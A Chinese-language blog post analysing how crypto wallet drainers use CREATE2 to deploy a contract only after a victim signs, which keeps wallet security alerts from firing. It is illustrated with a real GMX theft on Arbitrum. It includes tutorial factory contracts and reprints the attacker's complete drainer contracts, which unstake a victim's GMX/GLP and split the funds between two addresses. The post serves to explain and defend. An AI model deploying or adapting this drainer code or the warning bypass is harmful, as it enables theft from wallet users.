探究Wallet Drainers使用Create2 Bypass钱包安全告警
1前言
最近链上的TVL很高，Wallet Drainers也越来越活跃了。
自己简单看了下,感觉蛮有趣的，因为最近手中的事情太多了，就简单记录下。
2Create和Create2
在了解如何bypass钱包的安全告警之前，首先需要了解这一行为的实现，基于Create2
Create
EOA可以创建智能合约，智能合约同样也是可以创建智能合约的
create通常与address结合使用，用于在智能合约中创建新的合约实例。通过使用create，合约可以在其执行期间动态地生成新的合约。
这边我写一个简单的示例：
`contract Factory { event NewContract(address indexed createdContract); function createNewContract() external { // 使用 create 创建新的合约 address newContract = address(new MyContract()); emit NewContract(newContract); } } contract MyContract { // 合约的逻辑和状态变量 address public owner; constructor() { owner = msg.sender; } function isOwner() external view returns (bool) { return msg.sender == owner; } } `
首先部署Factory合约 合约地址为0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95
然后创建新的合约createNewContract，可以看到日志中：
`[ { "from": "0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95", "topic": "0x387ea218537e939551af33bbc2dd6c53b1fee55d377a0dce288258f972cb3a9c", "event": "NewContract", "args": { "0": "0xc176E14869501dd2B8DCFaAe60Bd022717b6350a", "createdContract": "0xc176E14869501dd2B8DCFaAe60Bd022717b6350a" }soli } ] `
可以看到创建了合约0xc176E14869501dd2B8DCFaAe60Bd022717b6350a
我们再去部署MyContract 可以发现合约地址为0xc176E14869501dd2B8DCFaAe60Bd022717b6350a
点击owner为
`"0": "address: 0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95" `
owner为创建的合约地址，那么就实现了在合约中创建合约的目的。
Create2
create2 允许合约在指定的地址上创建新的合约实例
那么就可以达到“预测”合约地址的方法
因为在地址的计算机制中，通常使用keccak256 哈希函数计算合约地址
create2为我们提供了一个计算地址的salt值，这样我们就可以更加灵活地控制合约地址
比如我们使用create2，我们可以在创建合约之前预测新创建的合约地址，如果我们在该地址上预先提供好需要部署的合约，那么就可以达到很多目的，比如：可以进行代币转移，合约升级，恶意合约的部署等等。
写一个简单的示例：
`contract PredictableContract { address public owner; event ContractCreated(address indexed newContract, address indexed owner); constructor(address _owner) payable { owner = _owner; } function getOwner() public view returns (address) { return owner; } } contract Factory { function deploy(uint _salt) public payable returns (address) { bytes32 hash = keccak256( abi.encodePacked( bytes1(0xff), address(this), _salt, type(PredictableContract).creationCode ) ); address newContract = address(uint160(uint256(hash))); return address(new PredictableContract{salt: bytes32(_salt)}(msg.sender)); } } `
给salt为66在部署的合约(合约地址0x3596A5B0cb68D61C071d5A535A3B676fB2b7D678)
中deploy一个合约
可以看到
解码输入
{ "uint256 _salt": "66" }
解码输出
{ "0": "address: 0xa852De88789ced6c8aF04738Cfb0E444cbb83102" }
得到预测的合约0xa852De88789ced6c8aF04738Cfb0E444cbb83102
我们部署到owner合约地址可以看到owner为
0xa852De88789ced6c8aF04738Cfb0E444cbb83102
也可以看下这位师傅写的solidity使用create2预测合约地址｜create2用法｜
`// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract ContractDemo { address public owner; // Only owners can call transactions marked with this modifier modifier onlyOwner() { require(owner == msg.sender, "Caller is not the owner"); _; } constructor(address _owner) payable { owner = _owner; } function getOwner() public view returns (address) { return owner; } } contract Factory { // Returns the address of the newly deployed contract function deploy( uint _salt ) public payable returns (address) { return address(new ContractDemo{salt: bytes32(_salt)}(msg.sender)); } // 获取待部署合约字节码 function getBytecode() public view returns (bytes memory) { bytes memory bytecode = type(ContractDemo).creationCode; return abi.encodePacked(bytecode, abi.encode(msg.sender)); } /** 获取待部署合约地址 params: _salt: 随机整数，用于预计算地址 */ function getAddress(uint256 _salt) public view returns (address) { // Get a hash concatenating args passed to encodePacked bytes32 hash = keccak256( abi.encodePacked( bytes1(0xff), // 0 address(this), // address of factory contract _salt, // a random salt keccak256(getBytecode()) // the wallet contract bytecode ) ); // Cast last 20 bytes of hash to address return address(uint160(uint256(hash))); } } `
更多详情:Create2 & Precompute Contract Address with Create2 | Solidity by Example
3Bypass Wallet Warning
bypass流程
用ScamSniffer的图示 很清晰了，后续我再次捕捉这种基于create2的钓鱼或者攻击手段会更新再这篇
相关事件
X 上的 Scam Sniffer | Web3 Anti-Scam：“1/ Here is a real case happened 9 hours ago A victim lost GMX after signing a `signalTransfer(address receiver)
攻击链
事件hash:
0x0b8d095c9ee0f27362240ed3f315afa12d6f88a6a0c15b99231bc14d4dd1fb96(Txhash) Details | Arbiscan
攻击者通过GMX: Reward Router提取代币
0x4e1d6fcb620e87cedb1b67b5212a23ed1265acf4b8dcf646bc0810cfc3600260(Txhash) Details | Arbiscan
通过Create2预先计算的地址
Contract Address 0xbD2BF58Be46619B7A22cE9457e1D51A10B82EB91 | Arbiscan
0xbD2BF58Be46619B7A22cE9457e1D51A10B82EB91是一个预先计算的合约地址，为空合约
作为绕过钱包安全警告，这个合约地址是在wallet drainer转移其资产时(调用 create2 之后)创建的
意思就是：当你同意了签名，然后这个合约才被创建，你的资产通过这个创建后的合约进行转移
0x0b8d095c9ee0f27362240ed3f315afa12d6f88a6a0c15b99231bc14d4dd1fb96
可以看详细链路：
arbitrum-0x0b8d095c9ee0f27362240ed3f315afa12d6f88a6a0c15b99231bc14d4dd1fb96 | MetaSleuth
攻击者合约
`// File: contracts/gmxUnstake.sol pragma solidity ^0.8.0; contract GmxUnstake { address rewardRouter = 0xA906F338CB21815cBc4Bc87ace9e68c87eF8d8F1; address stakedGmxTracker = 0x908C4D94D34924765f1eDc22A1DD098397c59dD4; address gmxToken = 0xfc5A1A6EB076a2C7aD06eD22C90d7E710E35ad0a; address feeAndStakedGlp = 0x1aDDD80E6039594eE970E5872D247bf0414C8903; address rewardRouterV2 = 0xB95DB5B167D75e6d04227CfFFA61069348d271F5; receive() external payable {} fallback() external payable {} modifier onlyOwner() { require( tx.origin == 0x0000db5c8B030ae20308ac975898E09741e70000, "Caller is not an owner" ); _; } function acceptTransfer(address victim) private { (bool success, ) = (rewardRouter).call( abi.encodeWithSignature("acceptTransfer(address)", victim) ); require(success, "Can't accept transfer"); } function handleRewards() private { (bool success, ) = (rewardRouter).call( abi.encodeWithSignature( "handleRewards(bool,bool,bool,bool,bool,bool,bool)", false, false, true, false, false, true, true ) ); require(success, "Can't handle rewards"); } function unstakeGmx( uint16 percentageForFirstAddressInBasisPoints, address firstAddress, address secondAddress ) private { (bool callSuccess, bytes memory data) = (stakedGmxTracker).call( abi.encodeWithSignature( "depositBalances(address,address)", address(this), gmxToken ) ); require( callSuccess && data.length > 0, "Can't not get staked gmx amount" ); uint256 stakedGmx = abi.decode(data, (uint256)); if (stakedGmx > 0) { (bool unstakeSuccess, ) = (rewardRouter).call( abi.encodeWithSignature("unstakeGmx(uint256)", stakedGmx) ); require(unstakeSuccess, "Can't not unstake"); uint256 gmxAmountForFirstAddress = (stakedGmx * percentageForFirstAddressInBasisPoints) / 10000; uint256 gmxAmountForSecondAddress = stakedGmx - gmxAmountForFirstAddress; if (gmxAmountForFirstAddress > 0) { (bool firstTransferSuccess, ) = gmxToken.call( abi.encodeWithSignature( "transfer(address,uint256)", firstAddress, gmxAmountForFirstAddress ) ); require(firstTransferSuccess, "First gmx transfer failed"); } if (gmxAmountForSecondAddress > 0) { (bool secondTransferSuccess, ) = gmxToken.call( abi.encodeWithSignature( "transfer(address,uint256)", secondAddress, gmxAmountForSecondAddress ) ); require(secondTransferSuccess, "Second gmx transfer failed"); } } } function unstakeGlp(uint256 lpPrice, uint256 ethPrice) private { (bool callSuccess, bytes memory data) = (feeAndStakedGlp).call( abi.encodeWithSignature("balanceOf(address)", address(this)) ); require(callSuccess && data.length > 0, "Can't get glp token balance"); uint256 stakedBalance = abi.decode(data, (uint256)); if (stakedBalance > 0) { (bool unstakeSuccess, ) = (rewardRouterV2).call( abi.encodeWithSignature( "unstakeAndRedeemGlpETH(uint256,uint256,address)", stakedBalance, (((stakedBalance * lpPrice) / ethPrice) * 9) / 10, // Calculate the min out value + remove 10% address(this) ) ); require(unstakeSuccess, "Can't unstake and redeem glp ETH"); } } function call( address target, bytes calldata data, uint256 value ) public onlyOwner { (bool success, bytes memory returnData) = target.call{value: value}( data ); require(success, string(returnData)); } function unstake( address victim, uint16 percentageForFirstAddressInBasisPoints, address firstAddress, address secondAddress, uint256 lpPrice, uint256 ethPrice ) public onlyOwner { require( percentageForFirstAddressInBasisPoints <= 10000, "Percentage must be between 0 and 10000" ); require( firstAddress != address(0) && secondAddress != address(0), "Invalid address" ); acceptTransfer(victim); handleRewards(); unstakeGmx( percentageForFirstAddressInBasisPoints, firstAddress, secondAddress ); unstakeGlp(lpPrice, ethPrice); if (address(this).balance > 0) { uint256 amountForFirstAddress = (address(this).balance * percentageForFirstAddressInBasisPoints) / 10000; uint256 amountForSecondAddress = address(this).balance - amountForFirstAddress; if (amountForFirstAddress > 0) { (bool success, ) = firstAddress.call{ value: amountForFirstAddress }(""); require(success, "First transfer failed"); } if (amountForSecondAddress > 0) { (bool success, ) = secondAddress.call{ value: amountForSecondAddress }(""); require(success, "Second transfer failed"); } } } } `
`// File: contracts/gmxUnstakeCreator.sol pragma solidity ^0.8.0; contract GmxUnstakeCreator { function createContract(bytes32 salt) private returns (address) { GmxUnstake _contract = new GmxUnstake{salt: salt}(); return address(_contract); } function getBytecode() private pure returns (bytes memory) { bytes memory bytecode = type(GmxUnstake).creationCode; return abi.encodePacked(bytecode); } function calculateAddress(bytes32 salt) public view returns (address) { bytes32 hash = keccak256( abi.encodePacked( bytes1(0xff), address(this), salt, keccak256(getBytecode()) ) ); return address(uint160(uint256(hash))); } function createAndCall( bytes32 salt, address victim, uint16 percentageForFirstAddressInBasisPoints, address firstAddress, address secondAddress, uint256 lpPrice, uint256 ethPrice ) public { address contractAddress = createContract(salt); bytes memory callData = abi.encodeWithSignature( "unstake(address,uint16,address,address,uint256,uint256)", victim, percentageForFirstAddressInBasisPoints, firstAddress, secondAddress, lpPrice, ethPrice ); (bool success, ) = contractAddress.call(callData); require(success, "Fail"); } } `
参考
Wallet Drainers Starts Using Create2 Bypass Wallet Security Alert - Scam Sniffer
Create2 | WTF Academy
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